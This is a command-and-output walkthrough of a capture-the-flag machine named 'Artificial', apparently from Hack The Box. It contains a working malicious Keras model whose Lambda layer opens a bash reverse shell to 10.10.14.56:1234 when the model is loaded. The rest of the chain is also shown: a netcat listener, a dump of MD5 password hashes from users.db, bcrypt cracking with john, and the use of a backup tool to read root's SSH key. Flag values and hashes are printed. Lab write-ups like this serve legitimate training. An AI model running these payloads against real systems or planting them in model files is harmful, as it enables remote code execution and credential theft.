Artificial

ports=$(nmap -p- --min-rate=5000 10.129.97.160 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p $ports -sV -sC 10.129.97.160

echo '10.129.97.160 artificial.htb' >> /etc/hosts

docker build .

docker image ls

REPOSITORY             TAG       IMAGE ID       CREATED          SIZE
<none>                 <none>    9628a2a7d51d   33 seconds ago   1.46GB

docker run -it --entrypoint /bin/bash 9628a2a7d51d

import tensorflow as tf

def exploit(x):
    import os
    os.system('bash -c "bash -i >& /dev/tcp/10.10.14.56/1234 0>&1"')
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

docker container ls

CONTAINER ID   IMAGE          COMMAND       CREATED          STATUS          PORTS     NAMES
4d4ce424b573   9628a2a7d51d   "/bin/bash"   13 seconds ago   Up 12 seconds             intelligent_jang

docker cp rce.py 4d4ce424b573:/code/

root@4d4ce424b573:/code# python rce.py
2025-06-25 04:16:49.504959: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
bash: connect: Connection refused
bash: line 1: /dev/tcp/10.10.14.56/1234: Connection refused
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
  saving_api.save_model(

docker cp 4d4ce424b573:/code/exploit.h5 .

nc -lvnp 1234

app@artificial:~/app/instance$ ls
users.db

app@artificial:~/app/instance$ strings users.db

SQLite format 3
itablemodelmodel
...<SNIP>...
Mtesttest@test.com098f6bcd4621d373cade4e832627b4f6<
3Mmarymary@artificial.htbbf041041e57f1aff3be7ea1abd6129d0>
5Mroyerroyer@artificial.htbbc25b1f80f544c0ab451c02a3dca9fc6@
7Mrobertrobert@artificial.htbb606c5f5136170f15444251665638b36<
3Mmarkmark@artificial.htb0f3d8c76530022670f1c6029eed09ccb<
3Mgaelgael@artificial.htbc99175974b6e192936d97224638a34f8

ssh gael@artificial.htb

gael@artificial.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

Last login: Tue Jun 24 23:47:24 2025 from 10.10.14.56
gael@artificial:~$ ls
user.txt                                                                                                                                                                                          
gael@artificial:~$ cat user.txt                                                                                                                                                                   
9c151485c7eb1fec59b7d907dc4e4c16

gael@artificial:~$ netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)

ssh gael@artificial.htb -L 9898:127.0.0.1:9898

gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

gael@artificial:/var/backups$ ls -la
total 51972
drwxr-xr-x  2 root root       4096 Jun 24 06:25 .
drwxr-xr-x 13 root root       4096 Jun  2 07:38 ..
-rw-r--r--  1 root root      51200 Jun 24 06:25 alternatives.tar.0
...<SNIP>...
-rw-r-----  1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz

gael@artificial:/tmp$ tar -xvf /var/backups/backrest_backup.tar.gz 
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json

gael@artificial:/tmp$ cat backrest/.config/backrest/config.json

{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

gael@artificial:/tmp$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (?)     
1g 0:00:00:19 DONE (2025-06-25 00:52) 0.05017g/s 270.9p/s 270.9c/s 270.9C/s baby16..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

backup /root

snapshots

ls 80aa12f9

nano root_rsa
chmod 400 root_rsa

ssh -i root_rsa root@artificial.htb

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

Last login: Wed Jun 25 00:29:02 2025 from 10.10.14.56
root@artificial:~# ls
root.txt  scripts
root@artificial:~# cat root.txt 
c89a9d4ec8bbe50b3635d7f5c9fd94a5